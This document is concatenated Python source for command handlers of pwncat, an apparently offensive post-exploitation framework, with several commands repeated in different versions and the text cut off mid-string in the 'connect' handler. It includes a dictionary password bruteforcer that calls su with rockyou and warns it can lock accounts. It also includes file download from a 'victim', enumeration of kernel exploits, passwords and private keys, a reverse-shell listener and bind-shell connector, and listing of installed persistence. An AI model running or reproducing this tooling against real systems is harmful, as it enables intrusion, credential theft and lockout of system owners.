class Command(CommandDefinition): PROG = "bind" ARGS = { "key": Parameter( Complete.NONE, metavar="KEY", type=KeyType, help="The key to map after your prefix", nargs="?", ), "script": Parameter( Complete.NONE, help="The script to run when the key is pressed", nargs="?", ), } LOCAL = True def run(self, args): if args.key is None: util.info("currently assigned key-bindings:") for key, binding in pwncat.victim.config.bindings.items(): print( f" {Fore.CYAN}{key}{Fore.RESET} = {Fore.YELLOW}{repr(binding)}{Fore.RESET}" ) elif args.key is not None and args.script is None: if args.key in pwncat.victim.config.bindings: del pwncat.victim.config.bindings[args.key] else: pwncat.victim.config.bindings[args.key] = args.script
class Command(CommandDefinition): """ Download a file from the remote host to the local host""" PROG = "download" ARGS = { "source": Parameter(Complete.REMOTE_FILE), "destination": Parameter(Complete.LOCAL_FILE), } def run(self, args): try: length = pwncat.victim.get_file_size(args.source) started = time.time() with open(args.destination, "wb") as destination: with pwncat.victim.open(args.source, "rb", length=length) as source: util.with_progress( [ ("", "downloading "), ("fg:ansigreen", args.source), ("", " to "), ("fg:ansired", args.destination), ], partial(util.copyfileobj, source, destination), length=length, ) elapsed = time.time() - started util.success( f"downloaded {Fore.CYAN}{util.human_readable_size(length)}{Fore.RESET} " f"in {Fore.GREEN}{util.human_readable_delta(elapsed)}{Fore.RESET}" ) except (FileNotFoundError, PermissionError, IsADirectoryError) as exc: self.parser.error(str(exc))
class Command(CommandDefinition): PROG = "bind" ARGS = { "key": Parameter( Complete.NONE, metavar="KEY", type=KeyType, help="The key to map after your prefix", nargs="?", ), "script": Parameter( Complete.NONE, help="The script to run when the key is pressed", nargs="?", ), } LOCAL = True def run(self, args): if args.key is None: for key, binding in pwncat.victim.config.bindings.items(): console.print(f" [cyan]{key}[/cyan] = [yellow]{repr(binding)}[/yellow]") elif args.key is not None and args.script is None: if args.key in pwncat.victim.config.bindings: del pwncat.victim.config.bindings[args.key] else: pwncat.victim.config.bindings[args.key] = args.script
class Command(CommandDefinition): """ Attempt to bruteforce user password(s) from a dictionary. This will use the provided dictionary to attempt a local passwod bruteforce. WARNING: if automatic disabling of accounts is enabled, this **will** lock the targeted account out! """ def get_remote_users(self): if pwncat.victim is not None: return pwncat.victim.users.keys() else: return [] PROG = "bruteforce" ARGS = { "--dictionary,-d": Parameter( Complete.LOCAL_FILE, type=argparse.FileType("r"), help= "The local dictionary to use for bruteforcing (default: kali rockyou)", default="/usr/share/wordlists/rockyou.txt", ), "--user,-u": Parameter( Complete.CHOICES, choices=get_remote_users, help= "A local user to bruteforce; this can be passed multiple times for multiple users.", action="append", required=True, metavar="USERNAME", ), } def run(self, args): for name in args.user: args.dictionary.seek(0) for line in args.dictionary: line = line.strip() util.progress(f"bruteforcing {name}: {line}") try: # Attempt the password pwncat.victim.su(name, line, check=True) pwncat.victim.users[name].password = line util.success(f"user {name} has password {repr(line)}!") break except PermissionError: continue util.success("bruteforcing completed")
class Command(CommandDefinition): """ Download a file from the remote host to the local host""" PROG = "download" ARGS = { "source": Parameter(Complete.REMOTE_FILE), "destination": Parameter(Complete.LOCAL_FILE, nargs="?"), } def run(self, args): # Create a progress bar for the download progress = Progress( TextColumn("[bold cyan]{task.fields[filename]}", justify="right"), BarColumn(bar_width=None), "[progress.percentage]{task.percentage:>3.1f}%", "•", DownloadColumn(), "•", TransferSpeedColumn(), "•", TimeRemainingColumn(), ) if not args.destination: args.destination = os.path.basename(args.source) elif os.path.isdir(args.destination): args.destination = os.path.join( args.destination, os.path.basename(args.source) ) try: length = pwncat.victim.get_file_size(args.source) started = time.time() with progress: task_id = progress.add_task( "download", filename=args.source, total=length, start=False ) with open(args.destination, "wb") as destination: with pwncat.victim.open(args.source, "rb", length=length) as source: progress.start_task(task_id) util.copyfileobj( source, destination, lambda count: progress.update(task_id, advance=count), ) elapsed = time.time() - started console.log( f"downloaded [cyan]{util.human_readable_size(length)}[/cyan] " f"in [green]{util.human_readable_delta(elapsed)}[/green]" ) except (FileNotFoundError, PermissionError, IsADirectoryError) as exc: self.parser.error(str(exc))
class Command(CommandDefinition): """ Synchronize the remote terminal with the local terminal. This will attempt to set the remote prompt, terminal width, terminal height, and TERM environment variables to enable to cleanest interface to the remote system possible. """ PROG = "sync" ARGS = { "--quiet,-q": Parameter(Complete.NONE, action="store_true", help="do not output status messages") } DEFAULTS = {} def run(self, args): # Get the terminal type TERM = os.environ.get("TERM", None) if TERM is None: if not args.quiet: util.warn("no local TERM set. falling back to 'xterm'") TERM = "xterm" # Get the width and height columns, rows = os.get_terminal_size(0) # Update the state pwncat.victim.run(f"stty rows {rows};" f"stty columns {columns};" f"export TERM='{TERM}'") if not args.quiet: util.success("terminal state synchronized")
class Command(CommandDefinition): """ Display remote system information including host ID, IP address, architecture, kernel version, distribution and init system. This command also provides the capability to view installed services if the init system is supported by ``pwncat``. """ PROG = "sysinfo" ARGS = { "--services,-s": Parameter( Complete.NONE, action="store_true", help="List all services and their state" ) } def run(self, args): if args.services: for service in pwncat.victim.services: if service.running: console.print( f"[green]{service.name}[/green] - {service.description}" ) else: console.print(f"[red]{service.name}[/red] - {service.description}") else: console.print(f"Host ID: [cyan]{pwncat.victim.host.hash}[/cyan]") console.print( f"Remote Address: [green]{pwncat.victim.client.getpeername()}[/green]" ) console.print(f"Architecture: [red]{pwncat.victim.host.arch}[/red]") console.print(f"Kernel Version: [red]{pwncat.victim.host.kernel}[/red]") console.print(f"Distribution: [red]{pwncat.victim.host.distro}[/red]") console.print(f"Init System: [blue]{pwncat.victim.host.init}[/blue]")
class Command(CommandDefinition): """ Set the currently used module in the config handler """ def get_module_choices(self): yield from [module.name for module in pwncat.modules.match("*")] PROG = "use" ARGS = { "module": Parameter( Complete.CHOICES, choices=get_module_choices, metavar="MODULE", help="the module to use", ) } LOCAL = False def run(self, args): try: module = pwncat.modules.find(args.module) except KeyError: console.log( f"[red]error[/red]: {args.module}: invalid module name") return pwncat.config.use(module)
class Command(CommandDefinition): """ Exit pwncat. You must provide the "--yes" parameter. This prevents accidental closing of your remote session. """ PROG = "exit" ARGS = { "--yes,-y": Parameter( Complete.NONE, action="store_true", help="Confirm you would like to close pwncat", ) } LOCAL = True def run(self, args): # Ensure we confirmed we want to exit if not args.yes: console.log("[red]error[/red]: exit not confirmed (use '--yes')") return # Get outa here! raise EOFError
class Command(CommandDefinition): """ Load modules from the specified directory. This does not remove currently loaded modules, but may replace modules which were already loaded. Also, prior to loading any specified modules, the standard modules are loaded. This normally happens only when modules are first utilized. This ensures that a standard module does not shadow a custom module. In fact, the opposite may happen in a custom module is defined with the same name as a standard module. """ PROG = "load" ARGS = { "path": Parameter( Complete.LOCAL_FILE, help="Path to a python package directory to load modules from", nargs="+", ) } DEFAULTS = {} LOCAL = True def run(self, args): pwncat.modules.reload(args.path)
class Command(CommandDefinition): """ List known commands and print their associated help documentation. """ def get_command_names(self): if pwncat.victim and pwncat.victim.command_parser: return [c.PROG for c in pwncat.victim.command_parser.commands] return [] PROG = "help" ARGS = { "topic": Parameter(Complete.CHOICES, choices=get_command_names, nargs="?") } LOCAL = True def run(self, args): if args.topic: for command in pwncat.victim.command_parser.commands: if command.PROG == args.topic: if command.parser is not None: command.parser.print_help() else: print(textwrap.dedent(command.__doc__).strip()) break else: util.info("the following commands are available:") for command in pwncat.victim.command_parser.commands: print(f" * {command.PROG}")
class Command(CommandDefinition): PROG = "shortcut" ARGS = { "prefix": Parameter(Complete.NONE, help="the prefix character used for the shortcut"), "command": Parameter(Complete.NONE, help="the command to execute"), } LOCAL = True def run(self, args): for command in pwncat.victim.command_parser.commands: if command.PROG == args.command: pwncat.victim.command_parser.shortcuts[args.prefix] = command return self.parser.error(f"{args.command}: no such command")
class Command(CommandDefinition): """ Reset the prompt used for shells in pwncat. This allows you to choose between the fancier colored prompt and more basic prompt. You can also specify a custom prompt if you'd like. This is mainly useful for basic shells such as /bin/sh or /bin/dash which do not support the nicer prompts by default. """ PROG = "prompt" GROUPS = {"mutex": Group(mutex=True, required=True)} ARGS = { "--basic,-b": Parameter( Complete.NONE, group="mutex", action="store_true", help= "Set a basic prompt with no color or automatic system information. There _should_ be no reason to use that anymore (unless your local terminal has no ANSI support)", ), "--fancy,-f": Parameter( Complete.NONE, group="mutex", action="store_true", help= "Set a fancier prompt including auto-user, hostname, cwd information", ), } def run(self, args): if args.fancy: pwncat.victim.remote_prompt = """$(command printf "\\033[01;31m(remote)\\033[0m \\033[01;33m$(whoami)@$(hostname)\\033[0m:\\033[1;36m$PWD\\033[0m$ ")""" else: pwncat.victim.remote_prompt = f"(remote) {pwncat.victim.host.ip}:$PWD\\$ " pwncat.victim.reset(hard=False)
class Command(CommandDefinition): """ View info about a module """ def get_module_choices(self): yield from [module.name for module in pwncat.modules.match("*")] PROG = "info" ARGS = { "module": Parameter( Complete.CHOICES, choices=get_module_choices, metavar="MODULE", help="The module to view information on", nargs="?", ) } def run(self, args): if not args.module and pwncat.config.module is None: console.log("[red]error[/red]: no module specified") return if args.module: try: module = pwncat.modules.find(args.module) except KeyError: console.log(f"[red]error[/red]: {args.module}: no such module") return else: module = pwncat.config.module console.print( f"[bold underline]Module [cyan]{module.name}[/cyan][/bold underline]" ) console.print( textwrap.indent(textwrap.dedent(module.__doc__.strip("\n")), " ") + "\n") table = Table("Argument", "Default", "Help", box=box.MINIMAL_DOUBLE_HEAD) for arg, info in module.ARGUMENTS.items(): if info.default is pwncat.modules.NoValue: default = "" else: default = info.default table.add_row(arg, str(default), info.help) console.print(table)
class Command(CommandDefinition): """ Alias an existing command with a new name. Specifying no alias or command will list all aliases. Specifying an alias with no command will remove the alias if it exists. """ def get_command_names(self): return [c.PROG for c in pwncat.victim.command_parser.commands] PROG = "alias" ARGS = { "alias": Parameter(Complete.NONE, help="name for the new alias", nargs="?"), "command": Parameter( Complete.CHOICES, metavar="COMMAND", choices=get_command_names, help="the command the new alias will use", nargs="?", ), } LOCAL = True def run(self, args): if args.alias is None: for name, command in pwncat.victim.command_parser.aliases.items(): console.print( f" [cyan]{name}[/cyan] \u2192 [yellow]{command.PROG}[/yellow]" ) elif args.command is not None: # This is safe because of "choices" in the argparser pwncat.victim.command_parser.aliases[args.alias] = [ c for c in pwncat.victim.command_parser.commands if c.PROG == args.command ][0] else: del pwncat.victim.command_parser.aliases[args.alias]
class Command(CommandDefinition): """ Display remote system information including host ID, IP address, architecture, kernel version, distribution and init system. This command also provides the capability to view installed services if the init system is supported by ``pwncat``. """ PROG = "sysinfo" ARGS = { "--services,-s": Parameter(Complete.NONE, action="store_true", help="List all services and their state") } def run(self, args): if args.services: for service in pwncat.victim.services: if service.running: print( f"{Fore.GREEN}{service.name}{Fore.RESET} - {service.description}" ) else: print( f"{Fore.RED}{service.name}{Fore.RESET} - {service.description}" ) else: print(f"Host ID: {Fore.CYAN}{pwncat.victim.host.hash}{Fore.RESET}") print( f"Remote Address: {Fore.GREEN}{pwncat.victim.client.getpeername()}{Fore.RESET}" ) print( f"Architecture: {Fore.RED}{pwncat.victim.host.arch}{Fore.RESET}" ) print( f"Kernel Version: {Fore.RED}{pwncat.victim.host.kernel}{Fore.RESET}" ) print( f"Distribution: {Fore.RED}{pwncat.victim.host.distro}{Fore.RESET}" ) print( f"Init System: {Fore.BLUE}{pwncat.victim.host.init}{Fore.RESET}" )
class Command(CommandDefinition): """ Synchronize the remote terminal with the local terminal. This will attempt to set the remote prompt, terminal width, terminal height, and TERM environment variables to enable to cleanest interface to the remote system possible. """ PROG = "sync" ARGS = { "--quiet,-q": Parameter(Complete.NONE, action="store_true", help="do not output status messages") } DEFAULTS = {} def run(self, args): # Get the terminal type TERM = os.environ.get("TERM", None) if TERM is None: if not args.quiet: console.log( "[yellow]warning[/yellow]: no local [blue]TERM[/blue]; falling back to 'xterm'" ) TERM = "xterm" # Get the width and height columns, rows = os.get_terminal_size(0) # Update the state pwncat.victim.run( f"stty rows {rows}; stty columns {columns}; export TERM='{TERM}'") if not args.quiet: console.log( "[green]:heavy_check_mark:[/green] terminal state synchronized", emoji=True, )
class Command(CommandDefinition): """ View info about a module """ def get_module_choices(self): yield from [module.name for module in pwncat.modules.match("*")] PROG = "search" ARGS = { "module": Parameter( Complete.NONE, help="glob pattern", ) } def run(self, args): table = Table( Column(header="Name", ratio=0.2), Column(header="Description", no_wrap=True, ratio=0.8), title="Results", box=box.MINIMAL_DOUBLE_HEAD, expand=True, ) for module in pwncat.modules.match(f"*{args.module}*"): # Rich will ellipsize the column, but we need to squeze # white space and remove newlines. `textwrap.shorten` is # the easiest way to do that, so we use a large size for # width. description = module.__doc__ if module.__doc__ is not None else "" table.add_row( f"[cyan]{module.name}[/cyan]", textwrap.shorten(description.replace("\n", " "), width=200, placeholder="..."), ) console.print(table)
class Command(CommandDefinition): """ View and revert any logged tampers which pwncat has performed on the remote system. """ PROG = "tamper" ARGS = { "--tamper,-t": Parameter( Complete.NONE, action=StoreForAction(["revert"]), type=int, help="Tamper ID to revert (IDs found in tamper list)", ), "--all,-a": Parameter( Complete.NONE, action="store_true", help="Attempt to revert all tampered files", ), "--revert,-r": Parameter( Complete.NONE, action=StoreConstOnce, nargs=0, dest="action", const="revert", help="Revert the selected tamper", ), "--list,-l": Parameter( Complete.NONE, action=StoreConstOnce, nargs=0, dest="action", const="list", help="List all tampers currently logged by pwncat", ), } def run(self, args): if args.action == "revert": if args.all: tampers = list(pwncat.victim.tamper) else: try: tampers = [pwncat.victim.tamper[args.tamper]] except KeyError: console.log("[red]error[/red]: invalid tamper id") return self.revert(tampers) else: for ident, tamper in enumerate(pwncat.victim.tamper): console.print(f" [cyan]{ident}[/cyan] - {tamper}") def revert(self, tampers: List[Tamper]): """ Revert the list of tampers with a nice progress bar """ with Progress( "[bold]reverting[/bold]", "•", "{task.fields[tamper]}", BarColumn(bar_width=None), "[progress.percentage]{task.percentage:>3.1f}%", console=console, ) as progress: task = progress.add_task("reverting", tamper="init", total=len(tampers)) for tamper in tampers: try: progress.update(task, tamper=str(tamper)) tamper.revert() pwncat.victim.tamper.remove(tamper) except RevertFailed as exc: progress.log( f"[yellow]warning[/yellow]: revert failed: {exc}") progress.update(task, advance=1) progress.update(task, tamper="complete")
class Command(CommandDefinition): """ Interface with the underlying enumeration module. This provides methods for enumerating, viewing and clearing cached facts about the victim. There are various types of enumeration data which can be collected by pwncat. Some enumeration data is provided by "enumerator" modules which will be automatically run if you request a type which they provide. On the other hand, some enumeration is performed as a side-effect of other operations (normally a privilege escalation). This data is only stored when it is found organically. To find out what types are available, you should use the tab-completion at the local prompt. Some shortcuts are provided with the "enumeration groups" options below. """ def get_fact_types(self): if pwncat.victim is None or pwncat.victim.enumerate is None: return for typ, _ in pwncat.victim.enumerate.enumerators.items(): yield typ def get_provider_names(self): if pwncat.victim is None or pwncat.victim.enumerate is None: return seen = [] for fact in pwncat.victim.enumerate.iter(only_cached=True): if fact.source in seen: continue seen.append(fact.source) yield fact.source PROG = "enum" GROUPS = { "action": Group( title="enumeration actions", description= "Exactly one action must be chosen from the below list.", ), "groups": Group( title="enumeration groups", description=( "common enumeration groups; these put together various " "groups of enumeration types which may be useful"), ), } ARGS = { "--show,-s": Parameter( Complete.NONE, action=StoreConstOnce, nargs=0, dest="action", const="show", group="action", help="Find and display all facts of the given type and provider", ), "--long,-l": Parameter( Complete.NONE, action="store_true", help= "Show long description of enumeration results (only valid for --show)", ), "--no-enumerate,-n": Parameter( Complete.NONE, action="store_true", help= "Do not perform actual enumeration; only print already enumerated values", ), "--type,-t": Parameter( Complete.CHOICES, action=StoreForAction(["show", "flush"]), nargs=1, choices=get_fact_types, metavar="TYPE", help= "The type of enumeration data to query (only valid for --show/--flush)", ), "--flush,-f": Parameter( Complete.NONE, group="action", action=StoreConstOnce, nargs=0, dest="action", const="flush", help=("Flush the queried enumeration data from the database. " "This only flushed the data specified by the --type and " "--provider options. If no type or provider or specified, " "all data is flushed"), ), "--provider,-p": Parameter( Complete.CHOICES, action=StoreForAction(["show", "flush"]), nargs=1, choices=get_provider_names, metavar="PROVIDER", help="The enumeration provider to filter by", ), "--report,-r": Parameter( Complete.LOCAL_FILE, group="action", action=ReportAction, nargs=1, help=( "Generate an enumeration report containing all enumeration " "data pwncat is capable of generating in a Markdown format."), ), "--quick,-q": Parameter( Complete.NONE, action=StoreConstForAction(["show"]), dest="type", const=[ "system.hostname", "system.arch", "system.distro", "system.kernel.version", "system.kernel.exploit", "system.network.hosts", "system.network", "writable_path", ], nargs=0, help="Activate the set of 'quick' enumeration types", group="groups", ), "--all,-a": Parameter( Complete.NONE, action=StoreConstForAction(["show"]), dest="type", const=None, nargs=0, help="Activate all enumeration types (this is the default)", group="groups", ), } DEFAULTS = {"action": "help"} def run(self, args): # no arguments prints help if args.action == "help": self.parser.print_help() return if args.action == "show": self.show_facts(args.type, args.provider, args.long) elif args.action == "flush": self.flush_facts(args.type, args.provider) elif args.action == "report": self.generate_report(args.report) def generate_report(self, report_path: str): """ Generate a markdown report of enumeration data for the remote host. This report is generated from all facts which pwncat is capable of enumerating. It does not need nor honor the type or provider options. """ # Dictionary mapping type names to facts. Each type name is mapped # to a dictionary which maps sources to a list of facts. This makes # organizing the output report easier. report_data: Dict[str, Dict[str, List[pwncat.db.Fact]]] = {} system_details = [] try: # Grab hostname hostname = pwncat.victim.enumerate.first("system.hostname").data system_details.append(["Hostname", util.escape_markdown(hostname)]) except ValueError: hostname = "[unknown-hostname]" # Not provided by enumerate, but natively known due to our connection system_details.append( ["Primary Address", util.escape_markdown(pwncat.victim.host.ip)]) system_details.append( ["Derived Hash", util.escape_markdown(pwncat.victim.host.hash)]) try: # Grab distribution distro = pwncat.victim.enumerate.first("system.distro").data system_details.append([ "Distribution", util.escape_markdown( f"{distro.name} ({distro.ident}) {distro.version}"), ]) except ValueError: pass try: # Grab the architecture arch = pwncat.victim.enumerate.first("system.arch").data system_details.append( ["Architecture", util.escape_markdown(arch.arch)]) except ValueError: pass try: # Grab kernel version kernel = pwncat.victim.enumerate.first( "system.kernel.version").data system_details.append([ "Kernel", util.escape_markdown( f"Linux Kernel {kernel.major}.{kernel.minor}.{kernel.patch}-{kernel.abi}" ), ]) except ValueError: pass try: # Grab SELinux State selinux = pwncat.victim.enumerate.first("system.selinux").data system_details.append( ["SELinux", util.escape_markdown(selinux.state)]) except ValueError: pass try: # Grab ASLR State aslr = pwncat.victim.enumerate.first("system.aslr").data system_details.append( ["ASLR", "disabled" if aslr.state == 0 else "enabled"]) except ValueError: pass try: # Grab init system init = pwncat.victim.enumerate.first("system.init").data system_details.append( ["Init", util.escape_markdown(str(init.init))]) except ValueError: pass try: # Check if we are in a container container = pwncat.victim.enumerate.first("system.container").data system_details.append( ["Container", util.escape_markdown(container.type)]) except ValueError: pass # Build the table writer for the main section table_writer = MarkdownTableWriter() table_writer.headers = ["Property", "Value"] table_writer.column_styles = [ pytablewriter.style.Style(align="right"), pytablewriter.style.Style(align="center"), ] table_writer.value_matrix = system_details table_writer.margin = 1 # Note enumeration data we don't need anymore. These are handled above # in the system_details table which is output with the table_writer. ignore_types = [ "system.hostname", "system.kernel.version", "system.distro", "system.init", "system.arch", "system.aslr", "system.container", ] # This is the list of known enumeration types that we want to # happen first in this order. Other types will still be output # but will be output in an arbitrary order following this list ordered_types = [ # Sudo privileges "sudo", # Possible kernel exploits - very important "system.kernel.exploit", # Enumerated user passwords - very important "system.user.password", # Enumerated possible user private keys - very important "system.user.private_key", # Directories in our path that are writable "writable_path", ] # These types are very noisy. They are important for full enumeration, # but are better suited for the end of the list. These are output last # no matter what in this order. noisy_types = [ # System services. There's normally a lot of these "system.service", # Installed packages. There's *always* a lot of these "system.package", ] with Progress( "enumerating report data", "•", "[cyan]{task.fields[status]}", transient=True, console=console, ) as progress: task = progress.add_task("", status="initializing") for fact in pwncat.victim.enumerate(): progress.update(task, status=str(fact.data)) if fact.type in ignore_types: continue if fact.type not in report_data: report_data[fact.type] = {} if fact.source not in report_data[fact.type]: report_data[fact.type][fact.source] = [] report_data[fact.type][fact.source].append(fact) try: with open(report_path, "w") as filp: filp.write(f"# {hostname} - {pwncat.victim.host.ip}\n\n") # Write the system info table table_writer.dump(filp, close_after_write=False) filp.write("\n") # output ordered types first for typ in ordered_types: if typ not in report_data: continue self.render_section(filp, typ, report_data[typ]) # output everything that's not a ordered or noisy type for typ, sources in report_data.items(): if typ in ordered_types or typ in noisy_types: continue self.render_section(filp, typ, sources) # Output the noisy types for typ in noisy_types: if typ not in report_data: continue self.render_section(filp, typ, report_data[typ]) console.log( f"enumeration report written to [cyan]{report_path}[/cyan]") except OSError as exc: console.log(f"[red]error[/red]: [cyan]{report_path}[/cyan]: {exc}") def render_section(self, filp, typ: str, sources: Dict[str, List[pwncat.db.Fact]]): """ Render the given facts all of the given type to the report pointed to by the open file filp. :param filp: the open file containing the report :param typ: the type all of these facts provide :param sources: a dictionary of sources->fact list """ filp.write(f"## {typ.upper()} Facts\n\n") sections = [] for source, facts in sources.items(): for fact in facts: if getattr(fact.data, "description", None) is not None: sections.append(fact) continue filp.write( f"- {util.escape_markdown(strip_markup(str(fact.data)))}\n" ) filp.write("\n") for section in sections: filp.write( f"### {util.escape_markdown(strip_markup(str(section.data)))}\n\n" ) filp.write(f"```\n{section.data.description}\n```\n\n") def show_facts(self, typ: str, provider: str, long: bool): """ Display known facts matching the criteria """ data: Dict[str, Dict[str, List[pwncat.db.Fact]]] = {} types = typ if isinstance(typ, list) else [typ] with Progress( "enumerating facts", "•", "[cyan]{task.fields[status]}", transient=True, console=console, ) as progress: task = progress.add_task("", status="initializing") for typ in types: for fact in pwncat.victim.enumerate.iter( typ, filter=lambda f: provider is None or f.source == provider): progress.update(task, status=str(fact.data)) if fact.type not in data: data[fact.type] = {} if fact.source not in data[fact.type]: data[fact.type][fact.source] = [] data[fact.type][fact.source].append(fact) for typ, sources in data.items(): for source, facts in sources.items(): console.print( f"[bright_yellow]{typ.upper()}[/bright_yellow] Facts by [blue]{source}[/blue]" ) for fact in facts: console.print(f" {fact.data}") if long and getattr(fact.data, "description", None) is not None: console.print( markup.escape( textwrap.indent(fact.data.description, " "))) def flush_facts(self, typ: str, provider: str): """ Flush all facts that match criteria """ types = typ if isinstance(typ, list) else [typ] for typ in types: pwncat.victim.enumerate.flush(typ, provider)
class Command(CommandDefinition): """ Run a module. If no module is specified, use the module in the current context. You can enter a module context with the `use` command. Module arguments can be appended to the run command with `variable=value` syntax. Arguments are type-checked prior to executing, and the results are displayed to the terminal. To locate available modules, you can use the `search` command. To find documentation on individual modules including expected arguments, you can use the `info` command. """ def get_module_choices(self): yield from [module.name for module in pwncat.modules.match("*")] PROG = "run" ARGS = { "--raw,-r": Parameter(Complete.NONE, action="store_true", help="Display raw results unformatted"), "--traceback,-t": Parameter(Complete.NONE, action="store_true", help="Show traceback for module errors"), "module": Parameter( Complete.CHOICES, nargs="?", metavar="MODULE", choices=get_module_choices, help="The module name to execute", ), "args": Parameter(Complete.NONE, nargs="*", help="Module arguments"), } def run(self, args): if args.module is None and pwncat.config.module is None: console.log("[red]error[/red]: no module specified") return elif args.module is None: args.module = pwncat.config.module.name # Parse key=value pairs values = {} for arg in args.args: if "=" not in arg: values[arg] = True else: name, value = arg.split("=") values[name] = value # pwncat.config.locals.update(values) config_values = pwncat.config.locals.copy() config_values.update(values) try: result = pwncat.modules.run(args.module, **config_values) pwncat.config.back() except pwncat.modules.ModuleFailed as exc: if args.traceback: console.print_exception() else: console.log(f"[red]error[/red]: module failed: {exc}") return except pwncat.modules.ModuleNotFound: console.log(f"[red]error[/red]: {args.module}: not found") return except pwncat.modules.ArgumentFormatError as exc: console.log(f"[red]error[/red]: {exc}: invalid argument") return except pwncat.modules.MissingArgument as exc: console.log(f"[red]error[/red]: missing argument: {exc}") return except pwncat.modules.InvalidArgument as exc: console.log(f"[red]error[/red]: invalid argument: {exc}") return if args.raw: console.print(result) else: if result is None or (isinstance(result, list) and not result): console.log( f"Module [bold]{args.module}[/bold] completed successfully" ) return if not isinstance(result, list): result = [result] self.display_item(title=args.module, results=result) def display_item(self, title, results): """ Display a possibly complex item """ console.print( f"[bold underline]Module '{title}' Results[/bold underline]") # Uncategorized or raw results categories = {} uncategorized = [] longform = [] # Organize results by category for result in results: if isinstance(result, pwncat.modules.Result) and result.is_long_form(): longform.append(result) elif (not isinstance(result, pwncat.modules.Result) or result.category is None): uncategorized.append(result) elif result.category not in categories: categories[result.category] = [result] else: categories[result.category].append(result) # Show uncategorized results first if uncategorized: console.print(f"[bold]Uncategorized Results[/bold]") for result in uncategorized: console.print("- " + str(result)) # Show all other categories if categories: for category, results in categories.items(): console.print(f"[bold]{category}[/bold]") for result in results: console.print(" - " + str(result)) # Show long-form results in their own sections if longform: for result in longform: if result.category is None: console.print(f"[bold]{result.title}[/bold]") else: console.print( f"[bold]{result.category} - {result.title}[/bold]") console.print(textwrap.indent(result.description, " "))
class Command(CommandDefinition): """ Connect to a remote victim. This command is only valid prior to an established connection. This command attempts to act similar to common tools such as netcat and ssh simultaneosly. Connection strings come in two forms. Firstly, pwncat can act like netcat. Using `connect [host] [port]` will connect to a bind shell, while `connect -l [port]` will listen for a reverse shell on the specified port. The second form is more explicit. A connection string can be used of the form `[protocol://][user[:password]@][host][:port]`. If a user is specified, the default protocol is `ssh`. If no user is specified, the default protocol is `connect` (connect to bind shell). If no host is specified or `host` is "0.0.0.0" then the `bind` protocol is used (listen for reverse shell). The currently available protocols are: - ssh - connect - bind The `--identity/-i` argument is ignored unless the `ssh` protocol is used. """ PROG = "connect" ARGS = { "--config,-c": Parameter( Complete.LOCAL_FILE, help= "Path to a configuration script to execute prior to connecting", ), "--identity,-i": Parameter( Complete.LOCAL_FILE, help="The private key for authentication for SSH connections", ), "--listen,-l": Parameter( Complete.NONE, action="store_true", help="Enable the `bind` protocol (supports netcat-like syntax)", ), "--port,-p": Parameter( Complete.NONE, help= "Alternative port number argument supporting netcat-like syntax", ), "--list": Parameter( Complete.NONE, action="store_true", help="List all known hosts and their installed persistence", ), "connection_string": Parameter( Complete.NONE, metavar="[protocol://][user[:password]@][host][:port]", help="Connection string describing the victim to connect to", nargs="?", ), "pos_port": Parameter( Complete.NONE, nargs="?", metavar="port", help= "Alternative port number argument supporting netcat-like syntax", ), } LOCAL = True CONNECTION_PATTERN = re.compile( r"""^(?P<protocol>[-a-zA-Z0-9_]*://)?((?P<user>[^:@]*)?(?P<password>:(\\@|[^@])*)?@)?(?P<host>[^:]*)?(?P<port>:[0-9]*)?$""" ) def run(self, args): protocol = None user = None password = None host = None port = None try_reconnect = False if not args.config and os.path.exists("./pwncatrc"): args.config = "./pwncatrc" elif not args.config and os.path.exists("./data/pwncatrc"): args.config = "./data/pwncatrc" if args.config: try: # Load the configuration with open(args.config, "r") as filp: pwncat.victim.command_parser.eval(filp.read(), args.config) except OSError as exc: console.log(f"[red]error[/red]: {exc}") return if args.list: # Grab a list of installed persistence methods for all hosts # persist.gather will retrieve entries for all hosts if no # host is currently connected. modules = list(pwncat.modules.run("persist.gather")) # Create a mapping of host hash to host object and array of # persistence methods hosts = { host.hash: (host, []) for host in pwncat.victim.session.query(pwncat.db.Host).all() } for module in modules: hosts[module.persist.host.hash][1].append(module) for host_hash, (host, modules) in hosts.items(): console.print(f"[magenta]{host.ip}[/magenta] - " f"[red]{host.distro}[/red] - " f"[yellow]{host_hash}[/yellow]") for module in modules: console.print(f" - {str(module)}") return if args.connection_string: m = self.CONNECTION_PATTERN.match(args.connection_string) protocol = m.group("protocol") user = m.group("user") password = m.group("password") host = m.group("host") port = m.group("port") if protocol is not None and args.listen: console.log( f"[red]error[/red]: --listen is not compatible with an explicit connection string" ) return if (sum([ port is not None, args.port is not None, args.pos_port is not None ]) > 1): console.log(f"[red]error[/red]: multiple ports specified") return if args.port is not None: port = args.port if args.pos_port is not None: port = args.pos_port if port is not None: try: port = int(port.lstrip(":")) except: console.log(f"[red]error[/red]: {port}: invalid port number") return # Attempt to assume a protocol based on context if protocol is None: if args.listen: protocol = "bind://" elif args.port is not None: protocol = "connect://" elif user is not None: protocol = "ssh://" try_reconnect = True elif host == "" or host == "0.0.0.0": protocol = "bind://" elif args.connection_string is None: self.parser.print_help() return else: protocol = "connect://" try_reconnect = True if protocol != "ssh://" and args.identity is not None: console.log( f"[red]error[/red]: --identity is only valid for ssh protocols" ) return if pwncat.victim.client is not None: console.log("connection [red]already active[/red]") return if protocol == "reconnect://" or try_reconnect: level = "[yellow]warning[/yellow]" if try_reconnect else "[red]error[/red]" try: addr = ipaddress.ip_address(socket.gethostbyname(host)) row = (pwncat.victim.session.query( pwncat.db.Host).filter_by(ip=str(addr)).first()) if row is None: console.log(f"{level}: {str(addr)}: not found in database") host_hash = None else: host_hash = row.hash except ValueError: host_hash = host # Reconnect to the given host if host_hash is not None: try: pwncat.victim.reconnect(host_hash, password, user) return except Exception as exc: console.log(f"{level}: {host}: {exc}") if protocol == "reconnect://" and not try_reconnect: # This means reconnection failed, and we had an explicit # reconnect protocol return if protocol == "bind://": if not host or host == "": host = "0.0.0.0" if port is None: console.log(f"[red]error[/red]: no port specified") return with Progress( f"bound to [blue]{host}[/blue]:[cyan]{port}[/cyan]", BarColumn(bar_width=None), transient=True, ) as progress: task_id = progress.add_task("listening", total=1, start=False) # Create the socket server server = socket.create_server((host, port), reuse_port=True) try: # Wait for a connection (client, address) = server.accept() except KeyboardInterrupt: progress.update(task_id, visible=False) progress.log("[red]aborting[/red] listener") return progress.update(task_id, visible=False) progress.log( f"[green]received[/green] connection from [blue]{address[0]}[/blue]:[cyan]{address[1]}[/cyan]" ) pwncat.victim.connect(client) elif protocol == "connect://": if not host: console.log("[red]error[/red]: no host address provided") return if port is None: console.log(f"[red]error[/red]: no port specified") return with Progress( f"connecting to 